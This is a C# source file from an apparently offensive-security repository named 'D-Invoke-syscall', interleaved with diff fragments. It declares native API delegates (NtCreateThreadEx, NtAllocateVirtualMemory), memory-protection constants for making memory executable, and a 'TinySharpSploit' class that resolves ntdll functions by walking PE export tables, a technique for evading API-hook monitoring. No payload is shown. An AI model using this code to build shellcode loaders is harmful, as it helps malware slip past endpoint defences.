public delegate Native.NTSTATUS NtCreateThreadEx(
out IntPtr hThread,
Native.ACCESS_MASK DesiredAccess,
IntPtr ObjectAttributes,
IntPtr ProcessHandle,
IntPtr lpStartAddress,
IntPtr lpParameter,
bool CreateSuspended,
uint StackZeroBits,
uint SizeOfStackCommit,
uint SizeOfStackReserve,
IntPtr lpBytesBuffer
);
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Native.NTSTATUS NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref UIntPtr RegionSize,
ulong AllocationType,
ulong Protect
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Native.NTSTATUS NtWaitForSingleObject(
IntPtr Object,
bool Alertable,
uint Timeout
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlInitUnicodeString(ref Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
}
public class Native
{
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
public enum NTSTATUS : uint
{
// Success
Success = 0x00000000,
// Wait0 = 0x00000000,
Wait1 = 0x00000001,
Wait2 = 0x00000002,
Wait3 = 0x00000003,
Wait63 = 0x0000003f,
Abandoned = 0x00000080,
AbandonedWait0 = 0x00000080,
AbandonedWait1 = 0x00000081,
AbandonedWait2 = 0x00000082,
AbandonedWait3 = 0x00000083,
AbandonedWait63 = 0x000000bf,
UserApc = 0x000000c0,
KernelApc = 0x00000100,
Alerted = 0x00000101,
Timeout = 0x00000102,
Pending = 0x00000103,
Reparse = 0x00000104,
MoreEntries = 0x00000105,
NotAllAssigned = 0x00000106,
SomeNotMapped = 0x00000107,
OpLockBreakInProgress = 0x00000108,
VolumeMounted = 0x00000109,
RxActCommitted = 0x0000010a,
NotifyCleanup = 0x0000010b,
NotifyEnumDir = 0x0000010c,
NoQuotasForAccount = 0x0000010d,
PrimaryTransportConnectFailed = 0x0000010e,
PageFaultTransition = 0x00000110,
PageFaultDemandZero = 0x00000111,
PageFaultCopyOnWrite = 0x00000112,
PageFaultGuardPage = 0x00000113,
PageFaultPagingFile = 0x00000114,
CrashDump = 0x00000116,
ReparseObject = 0x00000118,
NothingToTerminate = 0x00000122,
ProcessNotInJob = 0x00000123,
ProcessInJob = 0x00000124,
ProcessCloned = 0x00000129,
FileLockedWithOnlyReaders = 0x0000012a,
FileLockedWithWriters = 0x0000012b,
// Informational
Informational = 0x40000000,
ObjectNameExists = 0x40000000,
ThreadWasSuspended = 0x40000001,
WorkingSetLimitRange = 0x40000002,
ImageNotAtBase = 0x40000003,
RegistryRecovered = 0x40000009,
// Warning
Warning = 0x80000000,
GuardPageViolation = 0x80000001,
DatatypeMisalignment = 0x80000002,
Breakpoint = 0x80000003,
SingleStep = 0x80000004,
BufferOverflow = 0x80000005,
NoMoreFiles = 0x80000006,
HandlesClosed = 0x8000000a,
PartialCopy = 0x8000000d,
DeviceBusy = 0x80000011,
InvalidEaName = 0x80000013,
EaListInconsistent = 0x80000014,
NoMoreEntries = 0x8000001a,
LongJump = 0x80000026,
DllMightBeInsecure = 0x8000002b,
// Error
Error = 0xc0000000,
Unsuccessful = 0xc0000001,
NotImplemented = 0xc0000002,
InvalidInfoClass = 0xc0000003,
InfoLengthMismatch = 0xc0000004,
AccessViolation = 0xc0000005,
InPageError = 0xc0000006,
PagefileQuota = 0xc0000007,
InvalidHandle = 0xc0000008,
BadInitialStack = 0xc0000009,
BadInitialPc = 0xc000000a,
InvalidCid = 0xc000000b,
TimerNotCanceled = 0xc000000c,
InvalidParameter = 0xc000000d,
NoSuchDevice = 0xc000000e,
NoSuchFile = 0xc000000f,
InvalidDeviceRequest = 0xc0000010,
EndOfFile = 0xc0000011,
WrongVolume = 0xc0000012,
NoMediaInDevice = 0xc0000013,
NoMemory = 0xc0000017,
NotMappedView = 0xc0000019,
UnableToFreeVm = 0xc000001a,
UnableToDeleteSection = 0xc000001b,
IllegalInstruction = 0xc000001d,
AlreadyCommitted = 0xc0000021,
AccessDenied = 0xc0000022,
BufferTooSmall = 0xc0000023,
ObjectTypeMismatch = 0xc0000024,
NonContinuableException = 0xc0000025,
BadStack = 0xc0000028,
NotLocked = 0xc000002a,
NotCommitted = 0xc000002d,
InvalidParameterMix = 0xc0000030,
ObjectNameInvalid = 0xc0000033,
ObjectNameNotFound = 0xc0000034,
ObjectNameCollision = 0xc0000035,
ObjectPathInvalid = 0xc0000039,
ObjectPathNotFound = 0xc000003a,
ObjectPathSyntaxBad = 0xc000003b,
DataOverrun = 0xc000003c,
DataLate = 0xc000003d,
DataError = 0xc000003e,
CrcError = 0xc000003f,
SectionTooBig = 0xc0000040,
PortConnectionRefused = 0xc0000041,
InvalidPortHandle = 0xc0000042,
SharingViolation = 0xc0000043,
QuotaExceeded = 0xc0000044,
InvalidPageProtection = 0xc0000045,
MutantNotOwned = 0xc0000046,
SemaphoreLimitExceeded = 0xc0000047,
PortAlreadySet = 0xc0000048,
SectionNotImage = 0xc0000049,
SuspendCountExceeded = 0xc000004a,
ThreadIsTerminating = 0xc000004b,
BadWorkingSetLimit = 0xc000004c,
IncompatibleFileMap = 0xc000004d,
SectionProtection = 0xc000004e,
EasNotSupported = 0xc000004f,
EaTooLarge = 0xc0000050,
NonExistentEaEntry = 0xc0000051,
NoEasOnFile = 0xc0000052,
EaCorruptError = 0xc0000053,
FileLockConflict = 0xc0000054,
LockNotGranted = 0xc0000055,
DeletePending = 0xc0000056,
CtlFileNotSupported = 0xc0000057,
UnknownRevision = 0xc0000058,
RevisionMismatch = 0xc0000059,
InvalidOwner = 0xc000005a,
InvalidPrimaryGroup = 0xc000005b,
NoImpersonationToken = 0xc000005c,
CantDisableMandatory = 0xc000005d,
NoLogonServers = 0xc000005e,
NoSuchLogonSession = 0xc000005f,
NoSuchPrivilege = 0xc0000060,
PrivilegeNotHeld = 0xc0000061,
InvalidAccountName = 0xc0000062,
UserExists = 0xc0000063,
NoSuchUser = 0xc0000064,
GroupExists = 0xc0000065,
NoSuchGroup = 0xc0000066,
MemberInGroup = 0xc0000067,
MemberNotInGroup = 0xc0000068,
LastAdmin = 0xc0000069,
WrongPassword = 0xc000006a,
IllFormedPassword = 0xc000006b,
PasswordRestriction = 0xc000006c,
LogonFailure = 0xc000006d,
AccountRestriction = 0xc000006e,
InvalidLogonHours = 0xc000006f,
InvalidWorkstation = 0xc0000070,
PasswordExpired = 0xc0000071,
AccountDisabled = 0xc0000072,
NoneMapped = 0xc0000073,
TooManyLuidsRequested = 0xc0000074,
LuidsExhausted = 0xc0000075,
InvalidSubAuthority = 0xc0000076,
InvalidAcl = 0xc0000077,
InvalidSid = 0xc0000078,
InvalidSecurityDescr = 0xc0000079,
ProcedureNotFound = 0xc000007a,
InvalidImageFormat = 0xc000007b,
NoToken = 0xc000007c,
BadInheritanceAcl = 0xc000007d,
RangeNotLocked = 0xc000007e,
DiskFull = 0xc000007f,
ServerDisabled = 0xc0000080,
ServerNotDisabled = 0xc0000081,
TooManyGuidsRequested = 0xc0000082,
GuidsExhausted = 0xc0000083,
InvalidIdAuthority = 0xc0000084,
AgentsExhausted = 0xc0000085,
InvalidVolumeLabel = 0xc0000086,
SectionNotExtended = 0xc0000087,
NotMappedData = 0xc0000088,
ResourceDataNotFound = 0xc0000089,
ResourceTypeNotFound = 0xc000008a,
ResourceNameNotFound = 0xc000008b,
ArrayBoundsExceeded = 0xc000008c,
FloatDenormalOperand = 0xc000008d,
FloatDivideByZero = 0xc000008e,
FloatInexactResult = 0xc000008f,
FloatInvalidOperation = 0xc0000090,
FloatOverflow = 0xc0000091,
FloatStackCheck = 0xc0000092,
FloatUnderflow = 0xc0000093,
IntegerDivideByZero = 0xc0000094,
IntegerOverflow = 0xc0000095,
PrivilegedInstruction = 0xc0000096,
TooManyPagingFiles = 0xc0000097,
FileInvalid = 0xc0000098,
InstanceNotAvailable = 0xc00000ab,
PipeNotAvailable = 0xc00000ac,
InvalidPipeState = 0xc00000ad,
PipeBusy = 0xc00000ae,
IllegalFunction = 0xc00000af,
PipeDisconnected = 0xc00000b0,
PipeClosing = 0xc00000b1,
PipeConnected = 0xc00000b2,
PipeListening = 0xc00000b3,
InvalidReadMode = 0xc00000b4,
IoTimeout = 0xc00000b5,
FileForcedClosed = 0xc00000b6,
ProfilingNotStarted = 0xc00000b7,
ProfilingNotStopped = 0xc00000b8,
NotSameDevice = 0xc00000d4,
FileRenamed = 0xc00000d5,
CantWait = 0xc00000d8,
PipeEmpty = 0xc00000d9,
CantTerminateSelf = 0xc00000db,
InternalError = 0xc00000e5,
InvalidParameter1 = 0xc00000ef,
InvalidParameter2 = 0xc00000f0,
InvalidParameter3 = 0xc00000f1,
InvalidParameter4 = 0xc00000f2,
InvalidParameter5 = 0xc00000f3,
InvalidParameter6 = 0xc00000f4,
InvalidParameter7 = 0xc00000f5,
InvalidParameter8 = 0xc00000f6,
InvalidParameter9 = 0xc00000f7,
InvalidParameter10 = 0xc00000f8,
InvalidParameter11 = 0xc00000f9,
InvalidParameter12 = 0xc00000fa,
MappedFileSizeZero = 0xc000011e,
TooManyOpenedFiles = 0xc000011f,
Cancelled = 0xc0000120,
CannotDelete = 0xc0000121,
InvalidComputerName = 0xc0000122,
FileDeleted = 0xc0000123,
SpecialAccount = 0xc0000124,
SpecialGroup = 0xc0000125,
SpecialUser = 0xc0000126,
MembersPrimaryGroup = 0xc0000127,
FileClosed = 0xc0000128,
TooManyThreads = 0xc0000129,
ThreadNotInProcess = 0xc000012a,
TokenAlreadyInUse = 0xc000012b,
PagefileQuotaExceeded = 0xc000012c,
CommitmentLimit = 0xc000012d,
InvalidImageLeFormat = 0xc000012e,
InvalidImageNotMz = 0xc000012f,
InvalidImageProtect = 0xc0000130,
InvalidImageWin16 = 0xc0000131,
LogonServer = 0xc0000132,
DifferenceAtDc = 0xc0000133,
SynchronizationRequired = 0xc0000134,
DllNotFound = 0xc0000135,
IoPrivilegeFailed = 0xc0000137,
OrdinalNotFound = 0xc0000138,
EntryPointNotFound = 0xc0000139,
ControlCExit = 0xc000013a,
PortNotSet = 0xc0000353,
DebuggerInactive = 0xc0000354,
CallbackBypass = 0xc0000503,
PortClosed = 0xc0000700,
MessageLost = 0xc0000701,
InvalidMessage = 0xc0000702,
RequestCanceled = 0xc0000703,
RecursiveDispatch = 0xc0000704,
LpcReceiveBufferExpected = 0xc0000705,
LpcInvalidConnectionUsage = 0xc0000706,
LpcRequestsNotAllowed = 0xc0000707,
ResourceInUse = 0xc0000708,
ProcessIsProtected = 0xc0000712,
VolumeDirty = 0xc0000806,
FileCheckedOut = 0xc0000901,
CheckOutRequired = 0xc0000902,
BadFileType = 0xc0000903,
FileTooLarge = 0xc0000904,
FormsAuthRequired = 0xc0000905,
VirusInfected = 0xc0000906,
VirusDeleted = 0xc0000907,
TransactionalConflict = 0xc0190001,
InvalidTransaction = 0xc0190002,
TransactionNotActive = 0xc0190003,
TmInitializationFailed = 0xc0190004,
RmNotActive = 0xc0190005,
RmMetadataCorrupt = 0xc0190006,
TransactionNotJoined = 0xc0190007,
DirectoryNotRm = 0xc0190008,
CouldNotResizeLog = 0xc0190009,
TransactionsUnsupportedRemote = 0xc019000a,
LogResizeInvalidSize = 0xc019000b,
RemoteFileVersionMismatch = 0xc019000c,
CrmProtocolAlreadyExists = 0xc019000f,
TransactionPropagationFailed = 0xc0190010,
CrmProtocolNotFound = 0xc0190011,
TransactionSuperiorExists = 0xc0190012,
TransactionRequestNotValid = 0xc0190013,
TransactionNotRequested = 0xc0190014,
TransactionAlreadyAborted = 0xc0190015,
TransactionAlreadyCommitted = 0xc0190016,
TransactionInvalidMarshallBuffer = 0xc0190017,
CurrentTransactionNotValid = 0xc0190018,
LogGrowthFailed = 0xc0190019,
ObjectNoLongerExists = 0xc0190021,
StreamMiniversionNotFound = 0xc0190022,
StreamMiniversionNotValid = 0xc0190023,
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
CantOpenMiniversionWithModifyIntent = 0xc0190025,
CantCreateMoreStreamMiniversions = 0xc0190026,
HandleNoLongerValid = 0xc0190028,
NoTxfMetadata = 0xc0190029,
LogCorruptionDetected = 0xc0190030,
CantRecoverWithHandleOpen = 0xc0190031,
RmDisconnected = 0xc0190032,
EnlistmentNotSuperior = 0xc0190033,
RecoveryNotNeeded = 0xc0190034,
RmAlreadyStarted = 0xc0190035,
FileIdentityNotPersistent = 0xc0190036,
CantBreakTransactionalDependency = 0xc0190037,
CantCrossRmBoundary = 0xc0190038,
TxfDirNotEmpty = 0xc0190039,
IndoubtTransactionsExist = 0xc019003a,
TmVolatile = 0xc019003b,
RollbackTimerExpired = 0xc019003c,
TxfAttributeCorrupt = 0xc019003d,
EfsNotAllowedInTransaction = 0xc019003e,
TransactionalOpenNotAllowed = 0xc019003f,
TransactedMappingUnsupportedRemote = 0xc0190040,
TxfMetadataAlreadyPresent = 0xc0190041,
TransactionScopeCallbacksNotSet = 0xc0190042,
TransactionRequiredPromotion = 0xc0190043,
CannotExecuteFileInTransaction = 0xc0190044,
TransactionsNotFrozen = 0xc0190045,
MaximumNtStatus = 0xffffffff
}
// http://www.pinvoke.net/default.aspx/kernel32/VirtualAlloc.html
// NtAllocateVirtualMemory - ULONG AllocationType
[Flags]
public enum AllocationType : ulong
{
Commit = 0x1000,
Reserve = 0x2000,
Decommit = 0x4000,
Release = 0x8000,
Reset = 0x80000,
Physical = 0x400000,
TopDown = 0x100000,
WriteWatch = 0x200000,
LargePages = 0x20000000
}
// http://www.pinvoke.net/default.aspx/Enums/ACCESS_MASK.html
// NtCreateThread - ACCESS_MASK DesiredAccess
[Flags]
public enum ACCESS_MASK : uint
{
DELETE = 0x00010000,
READ_CONTROL = 0x00020000,
WRITE_DAC = 0x00040000,
WRITE_OWNER = 0x00080000,
SYNCHRONIZE = 0x00100000,
STANDARD_RIGHTS_REQUIRED = 0x000F0000,
STANDARD_RIGHTS_READ = 0x00020000,
STANDARD_RIGHTS_WRITE = 0x00020000,
STANDARD_RIGHTS_EXECUTE = 0x00020000,
STANDARD_RIGHTS_ALL = 0x001F0000,
SPECIFIC_RIGHTS_ALL = 0x0000FFFF,
ACCESS_SYSTEM_SECURITY = 0x01000000,
MAXIMUM_ALLOWED = 0x02000000,
GENERIC_READ = 0x80000000,
GENERIC_WRITE = 0x40000000,
GENERIC_EXECUTE = 0x20000000,
GENERIC_ALL = 0x10000000,
DESKTOP_READOBJECTS = 0x00000001,
DESKTOP_CREATEWINDOW = 0x00000002,
DESKTOP_CREATEMENU = 0x00000004,
DESKTOP_HOOKCONTROL = 0x00000008,
DESKTOP_JOURNALRECORD = 0x00000010,
DESKTOP_JOURNALPLAYBACK = 0x00000020,
DESKTOP_ENUMERATE = 0x00000040,
DESKTOP_WRITEOBJECTS = 0x00000080,
DESKTOP_SWITCHDESKTOP = 0x00000100,
WINSTA_ENUMDESKTOPS = 0x00000001,
WINSTA_READATTRIBUTES = 0x00000002,
WINSTA_ACCESSCLIPBOARD = 0x00000004,
WINSTA_CREATEDESKTOP = 0x00000008,
WINSTA_WRITEATTRIBUTES = 0x00000010,
WINSTA_ACCESSGLOBALATOMS = 0x00000020,
WINSTA_EXITWINDOWS = 0x00000040,
WINSTA_ENUMERATE = 0x00000100,
WINSTA_READSCREEN = 0x00000200,
WINSTA_ALL_ACCESS = 0x0000037F
}
// http://pinvoke.net/default.aspx/Structures/UNICODE_STRING.html
// NtCreateThread - POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
private IntPtr buffer;
public UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(buffer);
buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(buffer);
}
}
// http://www.pinvoke.net/default.aspx/Structures/OBJECT_ATTRIBUTES.html
// NtCreateThread - POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL
public struct OBJECT_ATTRIBUTES : IDisposable
{
public int Length;
public IntPtr RootDirectory;
private IntPtr objectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
public OBJECT_ATTRIBUTES(string name, uint attrs)
{
Length = 0;
RootDirectory = IntPtr.Zero;
objectName = IntPtr.Zero;
Attributes = attrs;
SecurityDescriptor = IntPtr.Zero;
SecurityQualityOfService = IntPtr.Zero;
Length = Marshal.SizeOf(this);
ObjectName = new UNICODE_STRING(name);
}
public UNICODE_STRING ObjectName
{
get
{
return (UNICODE_STRING)Marshal.PtrToStructure(
objectName, typeof(UNICODE_STRING));
}
set
{
bool fDeleteOld = objectName != IntPtr.Zero;
if (!fDeleteOld)
objectName = Marshal.AllocHGlobal(Marshal.SizeOf(value));
Marshal.StructureToPtr(value, objectName, fDeleteOld);
}
}
public void Dispose()
{
if (objectName != IntPtr.Zero)
{
Marshal.DestroyStructure(objectName, typeof(UNICODE_STRING));
Marshal.FreeHGlobal(objectName);
objectName = IntPtr.Zero;
}
}
}
// http://www.pinvoke.net/default.aspx/kernel32/VirtualProtectEx.html
// For making memory RX
[DllImport("kernel32.dll")]
public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
// http://www.pinvoke.net/default.aspx/kernel32/VirtualProtect.html
// For making memory RX
public enum AllocationProtect : uint
{
PAGE_EXECUTE = 0x00000010,
PAGE_EXECUTE_READ = 0x00000020,
PAGE_EXECUTE_READWRITE = 0x00000040,
PAGE_EXECUTE_WRITECOPY = 0x00000080,
PAGE_NOACCESS = 0x00000001,
PAGE_READONLY = 0x00000002,
PAGE_READWRITE = 0x00000004,
PAGE_WRITECOPY = 0x00000008,
PAGE_GUARD = 0x00000100,
PAGE_NOCACHE = 0x00000200,
PAGE_WRITECOMBINE = 0x00000400
}
// http://www.pinvoke.net/default.aspx/kernel32/GetCurrentProcess.html
// For getting a handle to the current process
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern uint GetThreadId(IntPtr hThread);
}
public class TinySharpSploit
{
public static Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
PathToFile, dwFlags, ModuleFileName, ModuleHandle
};
Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(Delegates.RtlInitUnicodeString), ref funcargs);
// Update the modified variables
ModuleHandle = (IntPtr)funcargs[3];
return retValue;
}
public static void RtlInitUnicodeString(ref Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
{
// Craft an array for the arguments
object[] funcargs =
{
DestinationString, SourceString
};
DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(Delegates.RtlInitUnicodeString), ref funcargs);
// Update the modified variables
DestinationString = (Native.UNICODE_STRING)funcargs[0];
}
/// <summary>
/// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="DLLName">Name of the DLL.</param>
/// <param name="FunctionName">Name of the function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
{
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
}
/// <summary>
/// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="FunctionPointer">A pointer to the unmanaged function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
{
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
return funcDelegate.DynamicInvoke(Parameters);
}
/// <summary>
/// Resolves LdrLoadDll and uses that function to load a DLL from disk.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
public static IntPtr LoadModuleFromDisk(string DLLPath)
{
Native.UNICODE_STRING uModuleName = new Native.UNICODE_STRING();
RtlInitUnicodeString(ref uModuleName, DLLPath);
IntPtr hModule = IntPtr.Zero;
Native.NTSTATUS CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
if (CallResult != Native.NTSTATUS.Success || hModule == IntPtr.Zero)
{
return IntPtr.Zero;
}
return hModule;
}
/// <summary>
/// Helper for getting the base address of a module loaded by the current process. This base
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
/// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
{
return Mod.BaseAddress;
}
}
return IntPtr.Zero;
}
/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="FunctionName">Name of the exported procedure.</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionName);
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(ExportName + ", export not found.");
}
return FunctionPtr;
}
}
}

2
README.md Normal file
View File

@ -0,0 +1,2 @@
# D-Invoke-syscall
动态调用 syscall

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]

View File

@ -1 +1 @@
e1325d9359823d299d0045b0c998a6b88ab90897
7e295a0303c936d5419951862fb00f80e1095c21

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,4 @@
// <autogenerated />
using System;
using System.Reflection;
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]